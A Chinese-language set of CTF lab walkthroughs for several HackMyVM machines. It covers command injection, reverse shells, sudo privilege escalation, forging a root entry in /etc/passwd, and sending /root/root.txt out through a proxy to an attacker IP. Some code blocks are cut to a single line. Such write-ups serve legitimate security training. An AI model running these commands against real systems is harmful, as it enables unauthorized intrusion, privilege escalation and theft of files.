translator
来到80端口看到有个translator的界面,随便输了abc,返回zyx,试了几次确认加密逻辑就是一对一替换,a-z,b-y这样,但是数字和大写字母是不会变的,扫了目录也没看到有什么东西
然后看了wp才知道,这个输入框可以命令注入,要先有个分号隔断,并且要输入的命令要先transalte一下(有点解谜),比如要使用id命令,就要输入“;rw”
那就先nc拿到一个shell,主要要先把命令translate一下
就拿到第一个shell,我感觉有点脑洞,可能是见识的不够多吧,代码逻辑如下
1 | <?php |
然后在html目录下有个hvxing文件,打开查看是段字符串,第一反应是拿去网页translate一下
然后就拿到一个密码,到/home目录下看到有两个用户,尝试了一下ocean登陆成功
然后sudo -l看到有choom可以利用,india可以不用密码,gtfobins查询到了提权命令
1 | sudo -u india /usr/bin/choom -n 0 /bin/sh |
第二个flag
就切换到了india账户,再sudo -l查找,有一个trans可以利用,file看了一下是个是个shell的脚本
cat看了一下内容很多,切换个思路-h看看帮助文档
注意到有input file也可以开个http代理,那就尝试结合这两个功能把/root/root.txt读出来
kali先开个nc
1 | sudo trans -i /root/root.txt -x 192.168.64.3:8888 |
得到一个包,尝试了一下url解码q后面的内容,就拿到flag
提权思路
1 | mkpasswd -m sha-512 |
先生成一个哈希字符串,然后拼接一下
1 | but:$6$qzFU83LRKpBUmZCQ$qCQiwtXEjJmtTAOO2HRJsneHiliw9k2V2/3EtU64v9tP2eaud5fdtp5pQurFVtEsovQjfbo2j3KY.JmF0QqEL/:0:0:root:/root:/bin/bash |
先复制一份原来的/etc/passwd,在/tmp目录下伪造一个一样的最下面在加入我们伪造的字符串,思路就给靶机多加一个用户,有root权限,
1 | sudo -u root trans -i www -o /etc/passwd -no-auto |
写入之后登陆我们伪造的用户,成功提权到root
小抽象
就是利用读写功能获取我们想要的东西,也可以对关键文件进行篡改
teacher
web端扫描目录扫到,access.php,log.php,clearlog.php,看一下log.php,内容说有一个rabbit.jpg,访问之后一张·图片·,最开始用stegseek出了得到一个secret.txt里面写着”rabbithole”,不明所以,尝试登陆ssh也没有用
去到access.jpg,源代码src后面是空的,就联想到有没有可以写入的参数,fuzz了一下
1 | wfuzz -u 'http://192.168.64.77/access.php?FUZZ=rabbit.jpg' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=12 |
果然得到了一个参数‘id’,然后看到了图片
再看看这时的源码,然后就联想到命令注入,先闭合单引号,在写入命令试试
经过一番探索(结合wp),发现可以直接注入php语句,还要配合前面的log.php,因为access.php不会执行,log.php记录了这些并且会执行,例如:
发现了利用点,那就拿到第一个shell了,在html目录下发现有个pdf,下载查看
虽然密码被糊住了,但是可以在前面找到自己,反向写出来就行
1 | Pass = ThankYouTeachers |
然后就登陆了mrteacher账户,成功拿到userflag
提权
Sudo -l 看到有gedit和xauth可以利用
1 | (ALL : ALL) NOPASSWD: /bin/gedit, /bin/xauth |
查了一下,xauth命令 用于显示和编辑被用于连接X服务器的认证信息。gedit是个文本编辑器
思路就是利用gedit查看或修改root.txt(或其他任意文件),在这之前要先利用xauth增加一个认证,并且ssh登陆账号要加-x让SSH 客户端会在连接过程中启用 X11 转发。
1 | ┌──(kali㉿kali)-[~] |
增加权限后就使用gedit了,这个时候可以直接读取rootflag,也可以修改/etc/passwd增加一个用户提权(像上一个靶机一样),两种思路都可以
1 | sudo gedit /root/root |
总结
web端命令注入结合日志文件,提权方面两个可利用点的结合,伪造用户或读取文件。
warrior
web端扫到robots.txt
User.txt里面有个名字‘loco’我还想过爆破ssh,没有结果,secret.txt一个字符串看起来不是密码
internal.php说要把MAC地址改成00:00:00:00:00:a? 最后一个问号还要一个一个试,网上找教程修改kali都mac地址
1 | ┌──(root㉿kali)-[/home/kali] |
然后再访问,就得到了密码,我尝试了loco作为用户名居然无效,最后看了wp才知道还有一个用户名可以是bro(扶额苦笑),然后顺利登陆,想输入sudo回显没有这个命令,路径没设置好,要调用应该在/usr/sbin/sudo,查到有个task可以利用,找了提权语句
1 | /usr/sbin/sudo /usr/bin/task execute /bin/sh |
顺利拿到root
总结
这个靶机的点主要在切换mac地址,还要尝试出来最后一位是f,bro这个也难想,以后要多考虑可以用cewl生成字典,提权比较简单。
doc
靶机信息
难度:easy
地址:https://hackmyvm.eu/machines/machine.php?vm=Doc
ip地址:192.168.64.104
信息搜集
开了80端口和3306端口,先看看80端口,一打开就看到login选项,点击后发现要配置hosts文件,配置为doc.hmv,然后面对登陆框,
可以看到用了一个OTOMS的框架,有找到相关版本的漏洞,但要先登陆,随便输入点再抓个包,sqlmap测一下,是可以注入的
爆出两个数据库,再仔细看看里面的内容
找到账号密码,登陆到后台,找到漏洞库(https://www.exploit-db.com/exploits/50389)说的漏洞点,也就是个人头像修改文件上传,先抓个包
然后按照poc发送包
1 | POST /classes/Users.php?f=save HTTP/1.1 |
发送成功后,头像从原来有张图片到现在加载不出来,在图片那里右键打开图片链接
文件上传利用成功,接下来就输入nc反弹一个shell即可
提权
在/var/www/html的目录下找到数据库账号密码,也有看到bella用户,然后就尝试用这个登陆bella,成功
然后sudo -l查到doc可以利用,先执行看看
它打开了本地7890端口,再拿一个shell然后用socat转发端口看看
看起来是个文件管理系统,看了题解才知道这是pydoc,他是有漏洞的,一个思路是“/getfile?key=”后面跟上文件名就能读取到想要的文件,就可以/getfile?key=/root/root.txt
还有一个思路是在tmp目录下创建一个py文件,然后在见面搜索访问,也能执行我们想要的语句。
提权成功
总结
这个靶机相对简单,也有一定的曲折,最后的pydoc没接触过,值得学习。
doc的源代码
1 |
|